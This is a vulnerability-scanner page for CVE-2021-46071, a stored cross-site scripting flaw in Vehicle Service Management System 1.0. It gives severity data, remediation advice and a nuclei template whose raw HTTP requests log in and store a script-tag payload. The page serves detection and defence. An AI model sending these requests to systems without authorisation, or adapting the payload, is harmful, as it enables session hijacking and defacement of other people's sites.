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CVE-2021-46071· vehicle service management system project / vehicle service management system· CWE-79

ehicle Service Management System 1.0 - Cross-Site Scripting

mediumseverity
4.8CVSS score
2.8%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

Vehicle Service Management System 1.0 contains a stored cross-site scripting vulnerability via the Category List section in login panel.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: POST /classes/Login.php?f=login ; POST /classes/Master.php?f=save_category ; GET /admin/?page=maintenance/category
Positive when: contains(header_3, 'text/html') and status_code_3 == 200 and contains(body_3, "<td>\"><script>alert(document.domain)</script></td>")

Run it with nuclei: nuclei -id CVE-2021-46071 -u <target>

The full check
id: CVE-2021-46071

info:
  name: ehicle Service Management System 1.0 - Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    Vehicle Service Management System 1.0 contains a stored cross-site scripting vulnerability via the Category List section in login panel.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/plsanu/Vehicle-Service-Management-System-Category-List-Stored-Cross-Site-Scripting-XSS
    - https://www.plsanu.com/vehicle-service-management-system-category-list-stored-cross-site-scripting-xss
    - https://www.sourcecodester.com/php/14972/vehicle-service-management-system-php-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46071
    - https://github.com/zecool/cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2021-46071
    cwe-id: CWE-79
    epss-score: 0.0278
    epss-percentile: 0.86493
    cpe: cpe:2.3:a:vehicle_service_management_system_project:vehicle_service_management_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: vehicle_service_management_system_project
    product: vehicle_service_management_system
  tags: cve2021,cve,xss,vms,authenticated,vehicle_service_management_system_project,vuln

http:
  - raw:
      - |
        POST /classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{username}}&password={{password}}
      - |
        POST /classes/Master.php?f=save_category HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id=&category=%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&status=1
      - |
        GET /admin/?page=maintenance/category HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(header_3, 'text/html')"
          - "status_code_3 == 200"
          - 'contains(body_3, "<td>\"><script>alert(document.domain)</script></td>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from